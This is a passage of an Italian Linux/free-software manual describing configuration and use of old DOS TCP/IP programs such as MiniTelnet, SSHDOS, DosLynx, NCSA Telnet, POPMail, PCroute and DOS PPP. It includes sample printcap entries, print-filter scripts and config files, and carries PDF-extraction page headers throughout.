È la libreriaABC che richiede la presenza di alcuni fine nella directory‘ \ETC\ ’ , pertanto èquesto il motivo del nome della variabile di ambiente.

Il pacchetto si compone di due eseguibili, che cercano il file‘WATTCP.CFG’ nella directorycorrente, ignorando la variabile di ambiente‘WATTCP.CFG’ :

NSLOOKUP[ host_da_trovare[ servente_dns]]NSQUERY[ -d ] host_da_trovare[ servente_dns]

I due comandi consentono di interrogare unservente DNS per risolvere un nome in numero eviceversa, oppure per avere maggiori dettagli sulle registrazioni del DNS che riguardano ilnodocercato. Se non viene indicato ilservente DNS nella riga di comando, si fa riferimento a quantoindicato nella configurazione, precisamente nel file‘RESOLV.CNF’ , che a questo proposito sicompila come quello dei sistemi Unix.

203.5 MiniTelnet

MiniTelnet 6 è un piccolo programmacliente per il protocollo TELNET, basato sulla libreriaWATTCP. Il programma eseguibile corrispondente è‘MT.EXE’ , che si usa così:

MT host [ -P porta] [ -E emulazione] [ -K tastiera]

L’emulazione del terminale viene definita con l’opzione‘ -E ’ , secondo la tabella:

-EVT52 emula un terminale di tipo VT52;

5ABC-nslookup UCB BSD6MiniTelnet software libero con licenza speciale

Page 228: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2212 Dos IPv4

-EHeath19 emula una variante del terminale VT52;-EVT102 emula un terminale VT102;-EVT200 emula un terminale VT200;-EANSI emula un terminale ANSI;

Per quanto riguarda l’emulazione della tastiera, il pacchetto diMiniTelnet include alcuni filedi esempio, con estensione‘ .KBD’ . Per selezionare uno di questi file, si utilizza l’opzione‘ -K ’ ,seguita dalla radice del nome di questi file. Per esempio, per utilizzare il file‘VT-AT.KBD ’ , sideve usare l’opzione‘ -KVT-AT ’ .

Per accedere a un sistema GNU conMiniTelnet, attraverso un vecchio elaboratore con tastierastandard, può essere conveniente l’uso della sintassi seguente:

MT host -EANSI -KVT-AT

In questo modo si seleziona l’emulazione ANSI e il file‘VT-AT.KBD ’ per la tastiera. Tuttavia,il servente TELNET potrebbe non essere in grado di passare l’informazione sul tipo di termina-le utilizzato allashell, pertanto conviene impostare manualmente la variabile‘TERM’ una voltainiziato il collegamento:

$ export TERM=linux

L’esempio riguarda il caso di un sistema GNU/Linux, dove la voce‘ linux ’ per identificare iltipo di terminale sembra essere la più vicina al funzionamento ottimale.

203.6 SSHDOS

SSHDOS7 è uncliente per il protocollo SSH nelle versioni 1.* . Si tratta di un programma cheusa la libreriaWATTCP, pertanto non crea problemi di configurazione. Il vero problema, semmai,riguarda la versione del protocollo, dal momento che unservente che offre solo il protocollo 2,non può comunicare conSSHDOS.

SSHDOS viene distribuito in due eseguibili differenti, a seconda della disponibilità o meno diuna CPUi386. In generale, funziona sempre l’eseguibile‘SSHDOS.EXE’ , anche se è molto lento:

SSHDOS[ opzioni] utente host[ comando]

In condizioni normali, non si usano le opzioni e nemmeno il comando da eseguire nell’elaborato-re remoto; in questo modo viene chiesto di inserire laparola d’ordine, dopo la quale si ottiene diinteragire con lashell. Eventualmente, per ottenere l’elenco delle opzioni disponibili, è sufficienteavviare l’eseguibile senza argomenti.

In condizioni normali, senza opzioni,SSHDOS funziona emulando il comportamento di un ter-minale di tipo ‘xterm ’ ; generalmente non è necessario cambiare questa impostazione con leopzioni.

203.7 Bobcat (Lynx)

Bobcat è una raccolta di applicativi, organizzata attorno a una versione diLynx 8 per Dos. Lelicenze dei vari applicativi inseriti sono varie; tuttavia, il pacchetto più importante è proprioLynx, che può funzionare anche da solo, per accedere ai servizi HTTP comuni.

Bobcat è ottenibile dall’indirizzo<http://www.fdisk.com/doslynx/bobcat.htm>. Eventualmente si puòfare una ricerca con<http://www.alltheweb.com/search?cat=ftp&amp;q=bcat- e07.exe>.

7SSHDOS GNU GPL8Lynx GNU GPL

Page 229: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2213

Di tutti i file che compongono il pacchetto, sono sufficienti il programma‘LYNX.EXE’ e il file‘LYNX.CFG’ . Il secondo è il file di configurazione, in cui è bene definire la collocazione di al-cuni file HTML (con estensione‘ .HTM’), che vengono usati quando si richiede la guida, altreinformazioni e per accumulare eventualmente lo storico degli indirizzi richiesti. Inoltre, questaedizione diLynx utilizza la libreriaWATTCP, pertanto il programma si aspetta di trovare il filedi configurazione‘WATTCP.CFG’ nella directory corrente.

203.8 PPRD: servente di rete per la stampa

PPRD9 è una piccola raccolta di programmi per la gestione di unservente di stampa secondolo stile del demone‘ lpd ’ . Nelle situazioni in cui il sistema riesce a funzionare, permette diriutilizzare un vecchio PC, anche un XT, per questo scopo. Può essere ottenuto pressoSimtel.Netall’indirizzo <ftp://ftp.simtel.net/pub/simtelnet/msdos/lan/pprd200.zip>.

PPRD si avvale della libreriaWATTCP, pertanto può condividere la configurazione con altriprogrammi simili. In particolare, nel file di configurazione‘WATTCP.CFG’ si deve specificare ladimensione dellamemoria tampone (buffer) di trasmissione e ricezione.

TXBUFSIZE=8192RXBUFSIZE=8192

Il programma eseguibile che svolge il lavoro è‘PPRD.EXE’ , che viene avviato normalmente senzal’indicazione di alcuna opzione, purché il file‘WATTCP.CFG’ sia stato predisposto correttamentee collocato nella directory corrente:

PPRD[ opzioni]

Salvo una diversa configurazione, il programma offre la stampante (o le stampanti) con un nomecorrispondente a quello usato dal Dos per identificare il dispositivo:‘ lpt1 ’ , ‘ lpt2 ’ , ...

Nell’elaboratore con un sistema GNU dal quale si vogliono inviare le stampe occorre sistemareil file ‘ /etc/printcap ’ in modo adeguato. Quello che segue è un esempio in cui:

1. la stampante predefinita punta direttamente alla stampante remota, il cui nome è‘ lpt1 ’ ;

2. la stampante‘ps ’ utilizza un filtro che trasforma un documentoPostScript in un file adattoalla stampante remota e poi lo ridirige alla stampante predefinita;

3. la stampante‘ tx ’ utilizza un filtro che trasforma un file di testo in stile Unix in un file ditesto in stile Dos e poi lo ridirige alla stampante predefinita.

#======================================================================# /etc/printcap#======================================================================lp:\

:lp=:\:sd=/var/spool/lpd/lp:\:rm=192.168.1.15:\:rp=lpt1:\:mx#0:\:sf:\:sh:

#ps:\

:lp=/dev/null:\

9PPRD software non libero: licenza Artistic

Page 230: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2214 Dos IPv4

:sd=/var/spool/lpd/postscript:\:lf=/var/spool/lpd/postscript/log:\:if=/var/spool/lpd/postscript/input-filter:\:sh:\:sf:\:mx#0:

#tx:\

:lp=/dev/null:\:sd=/var/spool/lpd/text:\:lf=/var/spool/lpd/text/log:\:if=/var/spool/lpd/text/input-filter:\:sh:\:sf:\:mx#0:

Segue loscript usato come filtro di input per la stampa inPostScript. Loscript riceve i datidallo standard input e attraversoGhostscript lo trasforma in un file adatto per la stampa su unastampante a nove aghi tipo IBM-EPSON e dirige l’output verso la stampante predefinita, cioèquella remota.10

#!/bin/sh/bin/grep -v ’(%%’ | /usr/bin/gs -q -dNOPAUSE -sPAPERSIZE=letter \

-sDEVICE=eps9high -sOutputFile=- - | /usr/bin/lpr

Segue loscript usato come filtro di input per la stampa dei file di testo. Loscript riceve i datidallo standard input e attraverso il programma‘unix2dos ’ lo trasforma in un file di testo in cuiogni riga è terminata dalla sequenza<CR><LF> come richiesto dalle stampanti normali. L’outputviene quindi diretto verso la stampante predefinita, cioè quella remota.

#!/bin/sh/bin/cat | /usr/bin/unix2dos | /usr/bin/lpr

Se poi‘unix2dos ’ non si comporta come previsto, si può realizzare un programmaPerl:

#!/usr/bin/perl## filtro-crlf.pl < <file-input> > <file-output>

$riga = "";while ($riga = <STDIN>)

#------------------------------------------------------------------# Elimina il codice di interruzione di riga finale.#------------------------------------------------------------------chomp ($riga);#------------------------------------------------------------------# Emette la riga con l’aggiunta di <CR> e <LF>.#------------------------------------------------------------------print STDOUT ("$riga\r\n");

;

203.9 Trout

Trout 11 è una versione Dos del notoTraceroute per sistemi Unix, che utilizza la libreriaWATTCP; l’eseguibile che svolge il lavoro è‘TROUT.EXE’ .

Per ottenere il pacchetto, si può fare una ricerca per i file‘ trtb01b.zip ’ o ‘ trt-e01.exe ’ .

10Si suppone di usare carta a modulo continuo, pertanto viene indicato il formato lettera (11 in).11Trout software gratuito senza sorgenti

Page 231: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2215

203.10 Talk

Talk 12 è una versione Dos del noto programma con lo stesso nome per i sistemi Unix (capitolo142). Questa versione per Dos utilizza la libreriaWATTCP e l’eseguibile che svolge il lavoro è‘TALK.EXE’ . Il pacchetto può essere recuperato presso l’indirizzo<http://www.smashco.com/wattcp/

talk- 13.zip>.

L’eseguibile‘TALK.EXE’ si comporta simultaneamente daservente e dacliente:

TALK [ opzioni] [ utente@host [ terminale]]

Se non si indica l’utente e il nodo da contattare, si avvia il programma in attesa di chiamate, a cuiverrà data risposta, qualunque sia il nominativo utente che viene richiesto. Le opzioni disponibilisono poche; in particolare,‘ -l ’ consente di avere una registrazione della comunicazione in unfile (‘TALK.LOG’), mentre‘ -o ’ consente di richiedere l’uso di un protocollo più vecchio.

Durante il funzionamento, è possibile usare il tasto[ F1 ] per ottenere una guida rapida all’usodei comandi da tastiera; in particolare, la combinazione[ Alt+s ], consente di cambiare la modalitàvisiva della comunicazione (a schermo unico o a schermo diviso).

La configurazione con il file‘WATTCP.CFG’ prevede l’aggiunta di direttive specifiche, checomunque non sono indispensabili.

203.11 DosLynx

DosLynx13 è un programma di navigazione a caratteri, ma relativamente completo, da utilizzareinsieme a undriver di pacchetto per il TCP/IP (non fa uso della libreriaWATTCP, pertanto ha unaconfigurazione indipendente). Può essere ottenuto presso la sua origine, University of Kansas,all’indirizzo <ftp://ftp2.cc.ukans.edu/pub/WWW/DosLynx/>. Per quanto possibile, questo applicativo èmolto accurato, per esempio permette l’uso del mouse.

L’eseguibile è precisamente‘DOSLYNX.EXE’ che si avvia senza l’indicazione di argomentiparticolari; ma prima di poter essere utilizzato occorre predisporre il file‘DOSLYNX.CFG’ .

12Talk GNU GPL13DosLynx software didattico, non libero

Page 232: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2216 Dos IPv4

Figura 203.1. La guida interna di DosLynx.

DosLynx permette anche l’invio di messaggi di posta elettronica, ma non la loro ricezione olettura.

La configurazione diDosLynx avviene attraverso il file‘DOSLYNX.CFG’ , collocato nella directorycorrente nel momento in cui si avvia il programma. In questo file, per prima cosa deve esseredefinito l’indirizzo IP e lamaschera di rete (netmask).

my_ip=192.168.1.15netmask=255.255.255.0

Quindi occorre indicare l’indirizzo delrouter (gateway) e delservente DNS anche se in realtàpossono non esistere nella rete locale che si utilizza.

gateway=192.168.1.1nameserver=192.168.1.1

Viene specificato quindi il dominio e il nome dell’elaboratore locale.

domainslist="brot.dg"hostname=dos

Per il resto, questo file di configurazione viene già fornito con un esempio molto ben commentato.Vale comunque la pena di indicare:

• l’attivazione del collegamento con l’esterno;

• il proprio indirizzo di posta elettronica, che viene utilizzato come mittente per i messaggiinviati;

• l’indicazione dell’elaboratore a cui fare riferimento per l’inoltro dei messaggi di postaelettronica inviati, attraverso il protocollo SMTP;

• l’indicazione dell’elaboratore a cui fare riferimento per l’accesso a NNTP (news).

Page 233: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2217

[email protected]=192.168.1.1nntphost=192.168.1.1

203.12 NCSA Telnet

NCSA Telnet14 è una piccola raccolta di programmi da utilizzare insieme a undriver di pacchettoper il TCP/IP (si tratta di programmi autonomi dalla libreriaWATTCP). Può essere ottenutapressoSimtel.Net all’indirizzo<ftp://ftp.simtel.net/pub/simtelnet/msdos/ncsatlnt/>.

Nelle sezioni seguenti vengono descritti solo alcuni dei programmi di questa raccolta. Prima dipoterli utilizzare occorre predisporre il file‘CONFIG.TEL’ .

L’ultima versione di questa raccolta dovrebbe essere la 2.3.08 che però sembra avere qual-che problema, in particolare non può essere utilizzata quando si abilita ilPath MTU disco-very durante la compilazione delkernel Linux. La versione 2.3.07.4 (precedente) dovrebbeessere esente da questo difetto. Inoltre, alcune versioni precedenti alla 2.3.08, compresa la2.3.07.4, contengono piùprogrammi di servizio accessori, come un programma per ilping euno per il tracciamento dell’instradamento. Per trovare la versione 2.3.07.4 si può utilizzare<http://www.alltheweb.com/?c=ftp> effettuando una ricerca per il file‘ tel23074.zip ’ . In alter-nativa si può visitare anche<ftp://ftp.is.co.za/networking/pc/> che contiene altri programmi per laconnessione attraverso PC.

203.12.1 File CONFIG.TEL

‘CONFIG.TEL’ è un file di testo contenente l’indicazione della configurazione del gruppetto diprogrammi che compongono il pacchettoTelnet NCSA. Per prima cosa deve essere definitol’indirizzo IP e lamaschera di rete (netmask).

myip=192.168.1.15netmask=255.255.255.0

Quindi occorre definire le caratteristiche deldriver di pacchetto utilizzato, che a loro volta di-pendono dal tipo di scheda di rete. L’esempio seguente riguarda il caso deldriver di pacchettoCrynwr per la scheda NE2000 (‘NE2000.COM 0x7e 0x0b 0x300 ’ ). Occorre fare attenzionealla voce‘ ioaddr= ’ che non si riferisce a un indirizzo di I/O, ma all’IRQ software deldriver dipacchetto.

hardware=packetinterrupt=11ioaddr=0x7e

Seguono una serie di altre informazioni, in particolare sono interessanti le seguenti.

myname=dos.brot.dgtermtype="vt100"keyfile=".\keymap.tel"services=".\services.tel"ftp=yesftpwrt=yespassfile=".\password.tel"

Quindi vengono richieste le informazioni suinodi che possono essere contattati. Vengono ini-zialmente indicate delle caratteristiche generali predefinite, quindi i dati particolari dinodideterminati.

14NCSA Telnet dominio pubblico

Page 234: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2218 Dos IPv4

name=default# Seguono una serie di caratteristiche predefinite# ...# Inizia la definizione dell’elaboratore «dinkel.brot.dg»name=dinkel.brot.dghostip=192.168.1.1gateway=0 # Non è un routernameserver=1 # È un Name Server# Inizia la definizione dell’alias «dinkel»name=dinkelcopyfrom=dinkel.brot.dg

203.12.2 File KEYFILE.TEL

All’interno del file ‘CONFIG.TEL’ , con la voce‘keyfile= ’ , viene dichiarato il nome e la col-locazione di un file di configurazione della tastiera. Lo scopo di questo file è definire una corri-spondenza tra tasti premuti e segnali inviati.Telnet NCSA fornisce già questo file e ha il nome‘KEYFILE.TEL ’ .

Per poter conoscere i codici a cui corrispondono i tasti della propria tastiera, si può utilizzare ilprogramma‘SCANCHEK.EXE’ .

In generale, non conviene modificare il file originale, piuttosto, è meglio tentare diversi tipi diconfigurazione di terminale assegnando un valore opportuno alla variabile di ambiente‘TERM’ diGNU/Linux o alla voce‘ termtype= ’ del file ‘CONFIG.TEL’ . si possono provare, in particolare,i valori ‘vt100 ’ e ‘vt220 ’ .

203.12.3 File PASSWORD.TEL

Il programma‘TELBIN.EXE ’ può funzionare anche come un sempliceservente FTP per accessisingoli.15

Per questo, è necessario definire un file contenente informazioni sugli utenti e sui loro permessidi accesso. Il nome e la posizione di questo file viene definito all’interno di‘CONFIG.TEL’ , conla voce‘passfile= ’ e di solito si tratta di‘PASSWORD.TEL’ .

Per crearlo o modificarlo, conviene utilizzare il programma‘TELPASS.EXE’ , per esempio nelmodo seguente. Il programma stesso suggerisce le operazioni da compiere.

C:\NCSATELN> telpass password.tel

203.12.4 File SERVICES.TEL

‘SERVICES.TEL’ è il file dei servizi di rete ed è analogo al file‘ /etc/services ’ (113.2). Vienegià fornito configurato correttamente.

203.12.5 File TELBIN.EXE

TELBIN [ host]

Il programma‘TELBIN.EXE ’ è il più importante di questo gruppo, essendo quello che permet-te di attivare una connessione TELNET con un elaboratore GNU/Linux o un altro Unix. Se ilprogramma non riesce a connettersi con l’elaboratore indicato come argomento, o se questo nonviene indicato, si avvia comeservente FTP e accetta una sola connessione alla volta.

15Non è il caso di fare affidamento su questa funzionalità di‘TELBIN.EXE ’ perché non è perfettamente funzionante.

Page 235: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2219

Quando si vuole utilizzare‘TELBIN.EXE ’ comeservente FTP occorre predisporre il file degliutenti, che solitamente è‘PASSWORD.TEL’ .

203.12.6 File FTPBIN.EXE

FTPBIN [ host]

‘FTPBIN.EXE ’ è il secondo programma come importanza. Si tratta di un semplicecliente FTPabbastanza funzionante. I comandi che mette a disposizione sono i soliti per questo tipo diprogramma; per ottenere aiuto si può utilizzare il punto interrogativo (‘?’).

203.12.7 File FINGER.EXE

FINGER [ utente] @host

Il programma‘FINGER.EXE’ permette di ottenere informazioni sugli utenti connessi in un ela-boratore determinato. Il risultato di questa interrogazione è analogo a quello del suo omonimonegli ambienti Unix.

203.13 POPMail

POPMail16 è un ottimo programma per la gestione della posta elettronica attraverso la connes-sione con un servizio POP2 o POP3. Può essere ottenuto pressoSimtel.Net all’indirizzo<ftp://

ftp.simtel.net/pub/simtelnet/msdos/pktdrvr/popml322.zip>.

La configurazione viene fatta attraverso il programma stesso e non richiede la preparazione dialcun file.

Figura 203.2. La composizione di un messaggio di posta elettronica attraversoPOPMail.

POPMail si compone di un solo eseguibile monolitico:‘POPMAIL.EXE’ . Tutte le sue funzionalità16POPMail software gratuito non modificabile e senza sorgenti

Page 236: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2220 Dos IPv4

sono incorporate in questo, compresa la configurazione. Appena si avvia il programma si ottieneun’interfaccia amichevole che permette l’uso del mouse.

203.13.1 Menù «Setup»

La configurazione del programma si definisce attraverso le funzioni delmenùSetup . In parti-colare è importante la voceNetwork , attraverso cui si accede a una maschera per la definizionedegli indirizzi e dei nomi utilizzati. In questa fase, è importante stabilire il tipo di protocollo chesi intende utilizzare. Questo lo si fa attraverso l’indicazione della porta di comunicazione. Quellapredefinita è 109 corrispondente a POP2, altrimenti si può utilizzare la porta 110 in modo dacollegarsi a un servizio POP3.

Figura 203.3. La finestra principale della configurazione di POPMail. Si può osservareche il nodo da specificare alla voce Host Computer è quello che fornisce il servizioSMTP, mentre subito sotto è richiesto l’indirizzo dell’elaboratore locale.

Figura 203.4. Selezionando il pulsante AD V A N C E D dalla finestra principale di configura-zione, si ottiene questa finestra di informazioni aggiuntive. La selezione del tipo di pro-tocollo dipende dal numero di porta selezionato. In questo caso, essendo il numero110, si utilizza il protocollo POP3.

Page 237: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2221

203.13.2 Menù «Window»

Una volta definita la configurazione, si può iniziare a utilizzare il programma per ricevere espedire posta. Esistono tre finestre: una per la composizione dei messaggi, un’altra per la lorolettura e l’ultima per le operazioni di «taglia-copia-incolla». Per passare da una finestra all’altra,occorre richiamare questomenù.

203.13.3 Menù «=»

Il menù dell’applicazione, quello precedente aFile , permette di accedere a funzionalità aggiun-tive e molto utili. Si può utilizzare una sessione TELNET in una finestra, si può ottenere larisoluzione di indirizzi IP e si può eseguire ilping.

Figura 203.5. Una sessione TELNET attraverso POPMail.

Figura 203.6. La presenza di una funzione di ping completa l’applicativo POPMail.

Page 238: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2222 Dos IPv4

203.14 PCroute

PCroute permette di trasformare un vecchio PC (i286 o inferiore) in unrouter IPv4. Può essereottenuto pressoSimtel.Net all’indirizzo<ftp://ftp.simtel.net/pub/simtelnet/msdos/network/pcrte224.zip>.

Nell’archivio che viene distribuito, è presente il sorgente e diverse versioni compilate, per l’usodelle schede di rete più comuni nel passato. Tra queste versioni già pronte ne esiste una in gradodi utilizzare idriver di pacchetto descritti all’inizio di questo capitolo. Gli esempi che verrannomostrati qui si riferiscono all’utilizzo deidriver di pacchetto.

203.14.1 Configurazione dei driver di pacchetto

Se si decide di utilizzare la versione già compilata per idriver di pacchetto, cioè‘PKTPKT.EXE’ ,è necessario prima configurare idriver di pacchetto, poi si può pensare alla configurazione diPCroute.

La versione precompilata,‘PKTPKT.EXE’ , prevede l’utilizzo di due indirizzi di interruzione (in-terrupt) software per comunicare con idriver di pacchetto, 6016 e 6116, dove il primo si riferiscealla prima interfaccia e l’altro alla seconda.

Supponendo di disporre di schede di rete compatibili NE2000, che utilizzino rispettivamente lerisorse IRQ 10 e I/O 28016, IRQ 11 e I/O 30016, la configurazione deidriver di pacchetto dovrebbeessere la seguente:

ne2000 0x60 0x0a 0x280ne2000 0x61 0x0b 0x300

203.14.2 Configurazione di PCroute

Per fare funzionarePCroute è necessario l’eseguibile‘PCROUTE.EXE’ ; nel caso di utilizzo deidriver di pacchetto, si tratta di‘PKTPKT.EXE’ . Inoltre serve anche‘CONFIG.EXE’ , per generareil file di configurazione diPCroute.

Si suppone che la prima scheda sia inserita nella rete 192.168.1.0 e che abbia l’indirizzo192.168.1.254; inoltre si suppone che la seconda sia nella rete 192.168.2.0 con l’indirizzo192.168.2.254. Non si prevede la necessità di indicare altri instradamenti per mezzo di altrirouter.

C:\PCROUTE> CONFIG[ Invio ]

This program creates/edits the pcroute.cfg file

Inizia una configurazione interattiva, a cominciare dalle indicazioni riferite alla prima interfaccia,cioè quella collegata aldriver di pacchetto attraverso l’indirizzo IRQ 6016.

Configuring an interface

Address for the interface [0.0.0.0] ? 192.168.1.254 [ Invio ]

Subnet mask for the interface [255.255.255.0] ? 255.255.255.0 [ Invio ]

Flag Meanings (if set)Bit 0 (1h) - Don’t send routing updates out this interfaceBit 1 (2h) - Don’t listen to routing updates from this interfaceBit 2 (4h) - Proxy Arp for all subnetsBit 3 (8h) - Turn off directed broadcastsBit 4 (10h) - Turn off the issuing of ICMP redirectsBit 5 (20h) - Broadcast using old (0’s) format

Flags (HEX) for the interface [0H] ? 0H[ Invio ]

Page 239: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2223

Routing Metric (HEX) for the interface [1H] ? 1H[ Invio ]

A questo punto si passa alla configurazione della seconda interfaccia, cioè quella collegata aldriver di pacchetto attraverso l’indirizzo IRQ 6116.

Configuring an interface

Address for the interface [0.0.0.0] ? 192.168.2.254 [ Invio ]

Subnet mask for the interface [255.255.255.0] ? 255.255.255.0 [ Invio ]

Flag Meanings (if set)Bit 0 (1h) - Don’t send routing updates out this interfaceBit 1 (2h) - Don’t listen to routing updates from this interfaceBit 2 (4h) - Proxy Arp for all subnetsBit 3 (8h) - Turn off directed broadcastsBit 4 (10h) - Turn off the issuing of ICMP redirectsBit 5 (20h) - Broadcast using old (0’s) format

Flags (HEX) for the interface [0H] ? 0H[ Invio ]

Routing Metric (HEX) for the interface [1H] ? 1H[ Invio ]

Gli instradamenti sulle reti cui sono connesse le interfacce vengono definiti in modo automatico.Si decide di non indicare altri instradamenti particolari.

If you wish to configure static routes do so here. To stop type a ’.’

Flag Meanings (if set)Bit 0 (1h) - Local route, do not propagate itBit 1 (2h) - Transient route, subject to RIP protocol

Network [0.0.0.0] ? . [ Invio ]

Da questo punto non si seleziona alcuna opzione particolare.

If you wish to forward bootp packets please enter the addressof the address to forward it to. This address can be adirected broadcast. 0.0.0.0 means don’t forward

Address to forward bootp packets [0.0.0.0] ? 0.0.0.0 [ Invio ]

Once PCroute boots up, it sends all log messages to a networkhost running a BSD UNIX syslogd daemon. To disablelogging enter 0.0.0.0

Host to send loging info to [0.0.0.0] ? 0.0.0.0 [ Invio ]

Mask Meanings (0 = Log, 1 = Don’t log)Bit 0 (1h) - SystemBit 1 (2h) - RoutingBit 2 (4h) - MonitorBit 3 (8h) - Localtalk

Logging mask for this router [0H] ? 0H[ Invio ]

There are 8 routing ’levels’ supported0 - Emergency 1 - Alert 2 - Critical 3 - Error4 - Warning 5 - Notice 6 - info 7 - Debug

Only messages with a level less than the logging level are sent

Logging level [0H] ? 0H[ Invio ]

A questo punto la configurazione termina e ne viene generato il file‘PCROUTE.CFG’ .

Page 240: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2224 Dos IPv4

203.14.3 Conclusione

PCroute, per funzionare richiede solo l’avvio dell’eseguibile (‘PCROUTE.EXE’ ), che ha la neces-sità di trovare il file‘PCROUTE.CFG’ nella directory corrente. Dopo l’avvio, l’elaboratore risultabloccato, essendo destinato esclusivamente alla funzione di instradamento.

La documentazione diPCroute spiega meglio come gestire le varie opzioni, che nell’esempiosono state evitate semplicemente, descrivendo anche come sfruttare la possibilità di tenere sottocontrollo il funzionamento diPCroute attraverso ilregistro di sistema di un elaboratore comeGNU/Linux.

203.15 Riferimenti

• Erick Engelke,WATTCP

<http://www.wattcp.com/>

• Smash-Co Communications,TCP/IP for MS-DOS

<http://www.smashco.com/wattcp.asp>

• The U-M Software Archive

<http://www.umich.edu/~archive/msdos/communications/wattcp/>

<http://www.umich.edu/~archive/msdos/communications/packet/>

• Arachne labs

<http://www.arachne.cz/>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 241: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 204Dos PPPPer realizzare una connessione PPP con un sistema Dos, è necessario undriver di pacchettospeciale, più o meno derivato dal demone‘pppd ’ tradizionale dei sistemi Unix. Dal momento chedi solito si usa una connessione PPP attraverso un modem e una linea commutata, è necessarioanche un programma analogo a‘chat ’ per attivare il modem e per superare la procedura iniziale.

Esistono diversi programmi per Dos in grado di gestire in qualche modo il protocollo PPP, masembra essere solo la realizzazioneDOS PPP1 ad avere il pregio di essere semplice e compatibilecon idriver di pacchettoEthernet.

L’archivio contenenteDOS PPP dovrebbe essere accessibile dall’indirizzo<ftp://ftp.simtel.net/pub/

simtelnet/msdos/pktdrvr/dosppp05.zip>.

204.1 Composizione

Il pacchetto di distribuzione diDOS PPP si compone di alcuni programmi, dove i più importantisono:

• ‘EPPPD.EXE’

il programma residente in memoria che svolge il ruolo del demone PPP tradizionale,emulando una schedaEthernet;

• ‘CHAT.EXE’

il programma utilizzato attraverso‘EPPPD.EXE’ per comandare il modem.

Questi due programmi emulano il più possibile i loro progenitori per Unix:‘pppd ’ e ‘chat ’ ,tenendo conto di alcuni aggiustamenti dovuti alle carenze del Dos.

204.2 Configurazione e script

La configurazione diDOS PPP segue idealmente quella del demone Unix, con la differenza chei file hanno nomi e collocazioni differenti. Considerando che si tratta di sistemi Dos, si possonoanche semplificare un po’ le cose, come descritto nel seguito.

• Il file ‘PPPD.CFG’ , collocato nella stessa directory in cui si trova l’eseguibile‘EPPPD.EXE’ ,oppure nella directory corrente, rappresenta in pratica quello che tradizionalmente è il file‘ /etc/ppp/options ’ .

Naturalmente, si possono usare anche opzioni della riga di comando, che prendono ilsopravvento sulle opzioni fissate con il file di configurazione.

• I file ‘PPPDCOMn.CFG’ , collocati nella directory corrente, permettono di indicare opzio-ni specifiche per ogni porta seriale:‘PPPDCOM1.CFG’ per ‘COM1:’ , ‘PPPDCOM2.CFG’ per‘COM2:’ , ecc. In questo modo si emulano i file di configurazione‘ /etc/ppp/options/

options.tty * ’ tradizionali nei sistemi Unix.

Dai file di configurazione è esclusa la presenza di qualcosa che serva per contenere i segretiPAP e CHAP. Per queste informazioni sono state aggiunte delle opzioni da inserire nei file diconfigurazione normali.

1DOS PPP software non libero: non è consentita la modifica e nemmeno la commercializzazione

2225

Page 242: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2226 Dos PPP

Dal momento che non c’è un modo migliore per fare sapere quali sono le caratteristiche IP dellaconnessione che si instaura, viene generato automaticamente loscript ‘ IP-UP.BAT ’ , il cui unicoscopo è quello di inizializzare alcune variabili di ambiente:

SET MYIP=indirizzo_ip_localeSET REMIP=indirizzo_ip_della_controparteSET NETMASK=maschera_di_reteSET PEERMRU=valore_MRU_della_controparte

